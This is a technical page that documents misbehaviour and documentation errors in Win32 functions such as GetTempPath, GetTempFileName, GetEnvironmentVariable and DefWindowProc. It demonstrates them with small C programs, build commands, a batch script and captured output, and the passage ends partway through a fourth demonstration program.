SET CL=/GAFy /W4 /Zl SET LINK=/DEFAULTLIB:KERNEL32.LIB /DEFAULTLIB:USER32.LIB /ENTRY:wmainCRTStartup /SUBSYSTEM:CONSOLE CL.EXE quirk7.cFor details and reference see the MSDN articles Compiler Options and Linker Options.
Note: if necessary, see the
MSDN article
Use the Microsoft C++ toolset from the command line
for an introduction.
Note: quirk7.exe is a pure
Win32 console application and builds without the
MSVCRT
libraries.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. quirk7.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /DEFAULTLIB:KERNEL32.LIB /DEFAULTLIB:USER32.LIB /ENTRY:wmainCRTStartup /SUBSYSTEM:CONSOLE /out:quirk7.exe quirk7.obj
Execute the console application quirk7.exe built in
step 2. to demonstrate the (mis)behaviour:
.\quirk7.exe SET /A 0x4641494C
GetEnvironmentVariable("EMPTY", 0x0037F884, 0) returned buffer size 1
GetEnvironmentVariable("EMPTY", 0x0037F884, 1) returned error 1178683724
1178683724
OUCH: for environment variables with empty value,
the Win32 function
GetEnvironmentVariable()
returns 0, but fails to (re)set the Win32 error 0 alias
ERROR_SUCCESS
to indicate no error!
GetTempPath()
and
GetTempFileName()
are documented in the
MSDN as
follows:
[…]DWORD GetTempPath( DWORD nBufferLength, LPTSTR lpBuffer );If the function succeeds, the return value is the length, in TCHARs, of the string copied to lpBuffer, not including the terminating null character.
[…]
The maximum possible return value is MAX_PATH+1 (261).
[…]
The GetTempPath function checks for the existence of environment variables in the following order and uses the first path found:
- The path specified by the TMP environment variable.
- The path specified by the TEMP environment variable.
- The path specified by the USERPROFILE environment variable.
- The Windows directory.
In addition to the[…]UINT GetTempFileName( LPCTSTR lpPathName, LPCTSTR lpPrefixString, UINT uUnique, LPTSTR lpTempFileName );
lpPathNameThe directory path for the file name. Applications typically specify a period (.) for the current directory or the result of the GetTempPath function. The string cannot be longer than MAX_PATH−14 characters or GetTempFileName will fail.
GetTempPath()
function fails to tell that lpBuffer can be 0 alias
NULL if nBufferLength is 0.
There’s yet another (triple) omission in that documentation:
The path specified by the […] environment variable.
needs to be read as The absolute or relative path
specified by the […] environment variable.
The default value of the system-specific environment variables
TEMP and TMP is
%SystemRoot%\TEMP, and the default value of the
user-specific environment variables TEMP and
TMP is %USERPROFILE%\AppData\Local\Temp,
i.e. both reference another environment variable. If this one is
undefined during creation of the environment block, the respective
substring %SystemRoot% or %USERPROFILE% is
not replaced with the contents of the referenced
environment variable and thus preserved. In consequence the
GetTempPath()
function returns the literal value %SystemRoot%\TEMP or
%USERPROFILE%\AppData\Local\Temp respectively, which
both are valid relative pathnames. Since a
subdirectory with this pathname does almost always not exist in the
CWD, programs
which rely on the existence of the path returned from the
GetTempPath()
function are subject to fail!
Create the text file quirk8.c with the following
content in an arbitrary, preferable empty directory:
// Copyright © 2004-2021, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
__declspec(safebuffers)
BOOL PrintConsole(HANDLE hConsole, LPCWSTR lpFormat, ...)
{
WCHAR szBuffer[1025];
DWORD dwBuffer;
DWORD dwConsole;
va_list vaInserts;
va_start(vaInserts, lpFormat);
dwBuffer = wvsprintf(szBuffer, lpFormat, vaInserts);
va_end(vaInserts);
if (dwBuffer == 0)
return FALSE;
if (!WriteConsole(hConsole, szBuffer, dwBuffer, &dwConsole, NULL))
return FALSE;
return dwConsole == dwBuffer;
}
__declspec(noreturn)
VOID WINAPI wmainCRTStartup(VOID)
{
WCHAR szBuffer[MAX_PATH + 2];
DWORD dwBuffer;
DWORD dwError = ERROR_SUCCESS;
HANDLE hConsole = GetStdHandle(STD_ERROR_HANDLE);
if (hConsole == INVALID_HANDLE_VALUE)
dwError = GetLastError();
else
{
dwBuffer = GetTempPath(sizeof(szBuffer) / sizeof(*szBuffer), szBuffer);
if (dwBuffer == 0)
PrintConsole(hConsole,
L"GetTempPath() returned error %lu\n",
dwError = GetLastError());
else
{
PrintConsole(hConsole,
L"GetTempPath() returned pathname \'%ls\' of length %lu\n",
szBuffer, dwBuffer);
if (GetTempFileName(szBuffer, L"tmp", 0, szBuffer) == 0)
PrintConsole(hConsole,
L"GetTempFileName() returned error %lu\n",
dwError = GetLastError());
else
{
PrintConsole(hConsole,
L"GetTempFileName() returned pathname \'%ls\'\n",
szBuffer);
if (!DeleteFile(szBuffer))
PrintConsole(hConsole,
L"DeleteFile() returned error %lu\n",
dwError = GetLastError());
}
}
}
ExitProcess(dwError);
} Build the console application quirk8.exe from the
source file quirk8.c created in step 1.:
SET CL=/GAFy /W4 /Zl SET LINK=/DEFAULTLIB:KERNEL32.LIB /DEFAULTLIB:USER32.LIB /ENTRY:wmainCRTStartup /SUBSYSTEM:CONSOLE CL.EXE quirk8.cFor details and reference see the MSDN articles Compiler Options and Linker Options.
Note: if necessary, see the
MSDN article
Use the Microsoft C++ toolset from the command line
for an introduction.
Note: quirk8.exe is a pure
Win32 console application and builds without the
MSVCRT
libraries.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. quirk8.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /DEFAULTLIB:KERNEL32.LIB /DEFAULTLIB:USER32.LIB /ENTRY:wmainCRTStartup /SUBSYSTEM:CONSOLE /out:quirk8.exe quirk8.obj
Create the text file quirk8.cmd with the following
content in the directory used in the previous steps 1. and 2.:
REM Copyright © 2004-2021, Stefan Kanthak <stefan.kanthak@nexgo.de>
SETLOCAL
CHDIR /D "%ALLUSERSPROFILE%"
SET T
@"%~dpn0.exe"
SET TMP=
@"%~dpn0.exe"
SET TEMP=
@"%~dpn0.exe"
SET USERPROFILE=
@"%~dpn0.exe"
SET USERPROFILE=abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyz
@"%~dpn0.exe"
SET USERPROFILE=abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyz
@"%~dpn0.exe"
SET TEMP=abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxy
@"%~dpn0.exe"
SET TMP=%SystemDrive%\abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvw
@"%~dpn0.exe"
SET TMP=%SystemDrive%\abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuv
@"%~dpn0.exe"
SET TMP=.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.
@"%~dpn0.exe"
SET TMP=.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.
@"%~dpn0.exe"
SET TMP=..
@"%~dpn0.exe"
SET TMP=%%USERPROFILE%%\AppData\Local\Temp
@"%~dpn0.exe"
SET TMP=%%SystemRoot%%\Temp
@"%~dpn0.exe"
SET TMP=NUL:
@"%~dpn0.exe"
EXIT /B Execute the batch script quirk8.cmd created in
step 3. on Windows 7 (or an earlier version):
.\quirk8.cmd
REM Copyright © 2004-2021, Stefan Kanthak <stefan.kanthak@nexgo.de> SETLOCAL CHDIR /D "C:\ProgramData" SET T TEMP=C:\Users\Stefan\AppData\Local\Temp TMP=C:\Users\Stefan\AppData\Local\Temp GetTempPath() returned pathname 'C:\Users\Stefan\AppData\Local\Temp\' of length 35 GetTempFileName() returned pathname 'C:\Users\Stefan\AppData\Local\Temp\tmp4711.tmp' SET TMP= GetTempPath() returned pathname 'C:\Users\Stefan\AppData\Local\Temp\' of length 35 GetTempFileName() returned pathname 'C:\Users\Stefan\AppData\Local\Temp\tmp4723.tmp' SET TEMP= GetTempPath() returned pathname 'C:\Users\Stefan\' of length 16 GetTempFileName() returned pathname 'C:\Users\Stefan\tmp4732.tmp' SET USERPROFILE= GetTempPath() returned pathname 'C:\Windows\' of length 11 GetTempFileName() returned pathname 'C:\Windows\tmp4742.tmp' SET USERPROFILE=abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyz GetTempPath() returned pathname 'C:\Windows\' of length 11 GetTempFileName() returned pathname 'C:\Windows\tmp4754.tmp' SET USERPROFILE=abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyz GetTempPath() returned pathname 'C:\Windows\' of length 11 GetTempFileName() returned pathname 'C:\Windows\tmp4767.tmp' SET TEMP=abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxy GetTempPath() returned pathname 'C:\ProgramData\abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxy\' of length 145 GetTempFileName() returned error 267 SET TMP=C:\abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvw GetTempPath() returned pathname 'C:\ProgramData\abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxy\' of length 145 GetTempFileName() returned error 267 SET TMP=C:\abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuv GetTempPath() returned pathname 'C:\abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuv\' of length 130 GetTempFileName() returned error 267 SET TMP=.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\. GetTempPath() returned pathname 'C:\ProgramData\abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxy\' of length 145 GetTempFileName() returned error 267 SET TMP=.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\. GetTempPath() returned pathname 'C:\ProgramData\' of length 15 GetTempFileName() returned pathname 'C:\ProgramData\tmp47BD.tmp' SET TMP=.. GetTempPath() returned pathname 'C:\' of length 3 GetTempFileName() returned pathname 'C:\tmp47CE.tmp' SET TMP=%USERPROFILE%\AppData\Local\Temp GetTempPath() returned pathname 'C:\ProgramData\%USERPROFILE%\AppData\Local\Temp\' of length 48 GetTempFileName() returned error 267 SET TMP=%SystemRoot%\Temp GetTempPath() returned pathname 'C:\ProgramData\%SystemRoot%\Temp\' of length 33 GetTempFileName() returned error 267 SET TMP=NUL: GetTempPath() returned pathname '\\.\NUL\' of length 8 GetTempFileName() returned error 267 EXIT /BOUCH¹: the environment variables
TMP, TEMP and USERPROFILE are
discarded on Windows 7 and earlier versions if their
value is not less than 130 (=MAX_PATH÷2)
characters!
OUCH²: although the directory name is valid,
GetTempFileName()
fails with Win32 error 267 alias
ERROR_DIRECTORY,
i.e. The directory name is invalid.
instead of
Win32 error 3 alias
ERROR_PATH_NOT_FOUND,
i.e. The system cannot find the path specified.
OUCH³: if the environment variables
TMP, TEMP or USERPROFILE are
set to a DOS
device name (with or without a trailing colon),
GetTempPath()
returns the corresponding Win32 device name followed
by a backslash instead of Win32 error 267 alias
ERROR_DIRECTORY!
Naming Files, Paths, and Namespaces
Execute the batch script quirk8.cmd created in
step 3. on Windows 8 (or a later version):
.\quirk8.cmd
REM Copyright © 2004-2021, Stefan Kanthak <stefan.kanthak@nexgo.de> SETLOCAL CHDIR /D "C:\ProgramData" SET T TEMP=C:\Users\Stefan\AppData\Local\Temp TMP=C:\Users\Stefan\AppData\Local\Temp GetTempPath() returned pathname 'C:\Users\Stefan\AppData\Local\Temp\' of length 35 GetTempFileName() returned pathname 'C:\Users\Stefan\AppData\Local\Temp\tmpF791.tmp' SET TMP= GetTempPath() returned pathname 'C:\Users\Stefan\AppData\Local\Temp\' of length 35 GetTempFileName() returned pathname 'C:\Users\Stefan\AppData\Local\Temp\tmpF7A1.tmp' SET TEMP= GetTempPath() returned pathname 'C:\Users\Stefan\' of length 16 GetTempFileName() returned pathname 'C:\Users\Stefan\tmpF7A9.tmp' SET USERPROFILE= GetTempPath() returned pathname 'C:\Windows\' of length 11 GetTempFileName() returned pathname 'C:\Windows\tmpF7B1.tmp' SET USERPROFILE=abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyz GetTempPath() returned pathname '' of length 277 GetTempFileName() returned pathname '\tmpF7C7.tmp' SET USERPROFILE=abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyz GetTempPath() returned pathname 'C:\ProgramData\abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyz\' of length 146 GetTempFileName() returned error 267 SET TEMP=C:\ProgramData\abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxy GetTempPath() returned pathname 'C:\ProgramData\abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxy\' of length 145 GetTempFileName() returned error 267 SET TMP=C:\abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvw GetTempPath() returned pathname 'C:\abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvw\' of length 131 GetTempFileName() returned error 267 SET TMP=C:\abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuv GetTempPath() returned pathname 'C:\abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuv\' of length 130 GetTempFileName() returned error 267 SET TMP=.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\. GetTempPath() returned pathname '' of length 276 GetTempFileName() returned pathname '\tmpF7D1.tmp' SET TMP=.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\. GetTempPath() returned pathname 'C:\ProgramData\' of length 15 GetTempFileName() returned pathname 'C:\ProgramData\tmpF7D9.tmp' SET TMP=.. GetTempPath() returned pathname 'C:\' of length 3 GetTempFileName() returned pathname 'C:\tmpF7DF.tmp' SET TMP=%USERPROFILE%\AppData\Local\Temp GetTempPath() returned pathname 'C:\ProgramData\%USERPROFILE%\AppData\Local\Temp\' of length 48 GetTempFileName() returned error 267 SET TMP=%SystemRoot%\Temp GetTempPath() returned pathname 'C:\ProgramData\%SystemRoot%\Temp\' of length 33 GetTempFileName() returned error 267 SET TMP=NUL: GetTempPath() returned pathname '\\.\NUL\' of length 8 GetTempFileName() returned error 267 EXIT /BOUCH⁴: contrary to its documentation cited above, the Win32 function
GetTempPath()
returns values greater than 261 (=MAX_PATH+1)!
OUCH⁵: the documentation also fails to tell
that the Win32 function
GetTempFileName()
adds a backslash in front of the filename if the directory path does
not end with a backslash!
GetTempPath()
wrong in another point and shows again its misbehaviour.
Create the text file quirk9.c with the following
content in an arbitrary, preferable empty directory:
// Copyright © 2004-2021, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
__declspec(safebuffers)
BOOL PrintConsole(HANDLE hConsole, LPCWSTR lpFormat, ...)
{
WCHAR szBuffer[1025];
DWORD dwBuffer;
DWORD dwConsole;
va_list vaInserts;
va_start(vaInserts, lpFormat);
dwBuffer = wvsprintf(szBuffer, lpFormat, vaInserts);
va_end(vaInserts);
if (dwBuffer == 0)
return FALSE;
if (!WriteConsole(hConsole, szBuffer, dwBuffer, &dwConsole, NULL))
return FALSE;
return dwConsole == dwBuffer;
}
__declspec(noreturn)
VOID WINAPI wmainCRTStartup(VOID)
{
WCHAR szBuffer[MAX_PATH];
DWORD dwBuffer;
DWORD dwError = ERROR_SUCCESS;
HANDLE hConsole = GetStdHandle(STD_ERROR_HANDLE);
if (hConsole == INVALID_HANDLE_VALUE)
dwError = GetLastError();
else
{
if (!SetEnvironmentVariable(L"TMP", L""))
PrintConsole(hConsole,
L"SetEnvironmentVariable(\"TMP\", \"\") returned error %lu\n",
dwError = GetLastError());
else
{
dwBuffer = GetTempPath(sizeof(szBuffer) / sizeof(*szBuffer), szBuffer);
if (dwBuffer == 0)
PrintConsole(hConsole,
L"GetTempPath() returned error %lu\n",
dwError = GetLastError());
else
{
PrintConsole(hConsole,
L"GetTempPath() returned pathname \'%ls\' of length %lu\n",
szBuffer, dwBuffer);
if (GetTempFileName(szBuffer, L"tmp", 0, szBuffer) == 0)
PrintConsole(hConsole,
L"GetTempFileName() returned error %lu\n",
dwError = GetLastError());
else
{
PrintConsole(hConsole,
L"GetTempFileName() returned pathname \'%ls\'\n",
szBuffer);
if (!DeleteFile(szBuffer))
PrintConsole(hConsole,
L"DeleteFile() returned error %lu\n",
dwError = GetLastError());
}
}
}
}
ExitProcess(dwError);
} Build the console application quirk9.exe from the
source file quirk9.c created in step 1.:
SET CL=/GAFy /W4 /Zl SET LINK=/DEFAULTLIB:KERNEL32.LIB /DEFAULTLIB:USER32.LIB /ENTRY:wmainCRTStartup /SUBSYSTEM:CONSOLE CL.EXE quirk9.cFor details and reference see the MSDN articles Compiler Options and Linker Options.
Note: if necessary, see the
MSDN article
Use the Microsoft C++ toolset from the command line
for an introduction.
Note: quirk9.exe is a pure
Win32 console application and builds without the
MSVCRT
libraries.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. quirk9.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /DEFAULTLIB:KERNEL32.LIB /DEFAULTLIB:USER32.LIB /ENTRY:wmainCRTStartup /SUBSYSTEM:CONSOLE /out:quirk9.exe quirk9.obj
Execute the console application quirk9.exe built in
step 2. to demonstrate the (mis)behaviour:
.\quirk9.exe
GetTempPath() returned pathname '' of length 1
GetTempFileName() returned pathname '\tmp3A97.tmp'
Oops: the Win32 function
GetTempPath()
returns the number of characters including the
terminating NUL character when the environment variable
TMP has an empty value!
DefWindowProc()
and
PostQuitMessage()
are documented in the
MSDN as
follows:
Calls the default window procedure to provide default processing for any window messages that an application does not process. This function ensures that every message is processed. DefWindowProc is called with the same parameters received by the window procedure.
Indicates to the system that a thread has made a request to terminate (quit). It is typically used in response to a WM_DESTROY message.The
WM_NCCREATE
message is documented in the
MSDN as
follows:
Sent prior to the WM_CREATE message when a window is first created.A window receives this message through its WindowProc function.
[…]
If an application processes this message, it should return TRUE to continue creation of the window. If the application returns FALSE, the CreateWindow or CreateWindowEx function will return a NULL handle.
DefWindowProc()
but does not provide the typical response to the
WM_DESTROY
message, and returning TRUE in response to the
WM_NCCREATE
message fails to register and set the window title!
Create the text file quirk10.c with the following
content in an arbitrary, preferable empty directory:
// Copyright © 2004-2021, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
LRESULT WINAPI WindowProc(HWND hWindow,
UINT uMessage,
WPARAM wParam,
LPARAM lParam)
{
switch (uMessage)
{
#if QUIRKS == 1 // DefWindowProc() must be called in response to the
// WM_NCCREATE message to register the window title!
case WM_NCCREATE:
return (LRESULT) 1;
#endif
case WM_DESTROY:
PostQuitMessage(0);
// case WM_NULL:
// case WM_NCDESTROY:
// case WM_CREATE:
return (LRESULT) 0;
default:
return DefWindowProc(hWindow, uMessage, wParam, lParam);
}
}
extern const IMAGE_DOS_HEADER __ImageBase;
__declspec(noreturn)
VOID WINAPI wmainCRTStartup(VOID)
{
DWORD dwError;
LRESULT lResult;
BOOL bResult;
HWND hWindow;
MSG msg;
WNDCLASSEX wce = {sizeof(wce),
CS_GLOBALCLASS,
#if QUIRKS == 2 // DefWindowProc() does not call PostQuitMessage()
// in response to the WM_DESTROY message!
DefWindowProc,
#else
WindowProc,
#endif
0,
0,
(HINSTANCE) &__ImageBase,
(HICON) NULL,
(HCURSOR) NULL,
(HBRUSH) COLOR_BACKGROUND,
(LPCWSTR) NULL,
L"Quirks Demonstration Class",
(HICON) NULL};
ATOM atom = RegisterClassEx(&wce);
if (atom == 0)
dwError = GetLastError();
else
{
hWindow = CreateWindowEx(WS_EX_APPWINDOW,
wce.lpszClassName,
L"Quirks Demonstration Window",
WS_OVERLAPPEDWINDOW | WS_VISIBLE,
CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT,
(HWND) NULL,
(HMENU) NULL,
wce.hInstance,
NULL);
if (hWindow == NULL)
dwError = GetLastError();
else
{
while ((bResult = GetMessage(&msg, (HWND) NULL, 0, 0)) > 0)
{
if (TranslateMessage(&msg))
;
lResult = DispatchMessage(&msg);
}
dwError = bResult < 0 ? GetLastError() : msg.wParam;
}
if (!UnregisterClass(wce.lpszClassName, wce.hInstance))
dwError = GetLastError();
}
ExitProcess(dwError);
} Build the console application quirk10.exe from the
source file quirk10.c created in step 1. with the
preprocessor macro QUIRKS defined as 2:
SET CL=/GAFy /W4 /Zl SET LINK=/DEFAULTLIB:KERNEL32.LIB /DEFAULTLIB:USER32.LIB /ENTRY:wmainCRTStartup /SUBSYSTEM:CONSOLE CL.EXE /DQUIRKS=2 quirk10.cFor details and reference see the MSDN articles Compiler Options and Linker Options.
Note: if necessary, see the
MSDN article
Use the Microsoft C++ toolset from the command line
for an introduction.
Note: quirk10.exe is a pure
Win32 console application and builds without the
MSVCRT
libraries.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. quirk10.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /DEFAULTLIB:KERNEL32.LIB /DEFAULTLIB:USER32.LIB /ENTRY:wmainCRTStartup /SUBSYSTEM:CONSOLE /out:quirk10.exe quirk10.obj
Start the console application quirk10.exe built in
step 2. and close its window to demonstrate the first
(mis)behaviour:
.\quirk10.exeOUCH¹: although the application window titled
Quirks Demonstration Windowwas closed, the Command Processor waits for the child process to terminate … for example through the Ctrl C keyboard shortcut!
Contrary to its documentation cited above, the Win32
function
DefWindowProc()
fails to provide the typical response to the
WM_DESTROY
message, i.e. it does not call
PostQuitMessage()
to terminate the
message loop
running in the primary thread of the process!
Build the console application quirk10.exe from the
source file quirk10.c created in step 1. again,
now with the preprocessor macro QUIRKS defined as 1:
CL.EXE /DQUIRKS=1 quirk10.c
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. quirk10.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /DEFAULTLIB:KERNEL32.LIB /DEFAULTLIB:USER32.LIB /ENTRY:wmainCRTStartup /SUBSYSTEM:CONSOLE /out:quirk10.exe quirk10.obj
Start the console application quirk10.exe built in
step 4. to demonstrate the second (mis)behaviour:
.\quirk10.exe
![[Screen shot of untitled application window on Windows XP]](download/Quirk10_Classic.png "[Screen shot of untitled application window on Windows XP]")
![[Screen shot of untitled application window on Windows 7]](download/Quirk10_Aero.png "[Screen shot of untitled application window on Windows 7]")
![[Screen shot of untitled application window on Windows 10]](download/Quirk10_Metro.png "[Screen shot of untitled application window on Windows 10]")
Quirks Demonstration Window!
Contrary to the documentation cited above, an application’s
WindowProc()
must not return TRUE in response to
the
WM_NCCREATE
message, but needs to call the
DefWindowProc()
function instead!
GetOpenClipboardWindow(),
GetWindow()
and
GetWindowModuleFileName()
are documented in the
MSDN as
follows:
[…]HWND GetOpenClipboardWindow();If the function succeeds, the return value is the handle to the window that has the clipboard open. If no window has the clipboard open, the return value is NULL. To get extended error information, call GetLastError.
[…]HWND GetWindow( HWND hWnd, UINT uCmd );[…]
Value Meaning GW_ENABLEDPOPUP
6The retrieved handle identifies the enabled popup window owned by the specified window (the search uses the first such window found using GW_HWNDNEXT); otherwise, if there are no enabled popup windows, the retrieved handle is that of the specified window. If the function succeeds, the return value is a window handle. If no window exists with the specified relationship to the specified window, the return value is NULL. To get extended error information, call GetLastError.
Note: the last documentation fails to specify error conditions and restrictions![…]UINT GetWindowModuleFileName( HWND hwnd, LPTSTR pszFileName, UINT cchFileNameMax );The return value is the total number of characters copied into the buffer.
Create the text file quirk11.c with the following
content in an arbitrary, preferable empty directory:
// Copyright © 2004-2021, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
__declspec(safebuffers)
BOOL PrintConsole(HANDLE hConsole, LPCWSTR lpFormat, ...)
{
WCHAR szBuffer[1025];
DWORD dwBuffer;
DWORD dwConsole;
va_list vaInserts;
va_start(vaInserts, lpFormat);
dwBuffer = wvsprintf(szBuffer, lpFormat, vaInserts);
va_end(vaInserts);
if (dwBuffer == 0)
return FALSE;
if (!WriteConsole(hConsole, szBuffer, dwBuffer, &dwConsole, NULL))
return FALSE;
return dwConsole == dwBuffer;
}
__declspec(noreturn)
VOID WINAPI wmainCRTStartup(VOID)
{
WCHAR szBuffer[MAX_PATH];
DWORD dwBuffer;
DWORD dwError = ERROR_SUCCESS;
HWND hWindow = HWND_DESKTOP;
HANDLE hConsole = GetStdHandle(STD_ERROR_HANDLE);
if (hConsole == INVALID_HANDLE_VALUE)
dwError = GetLastError();
else
{
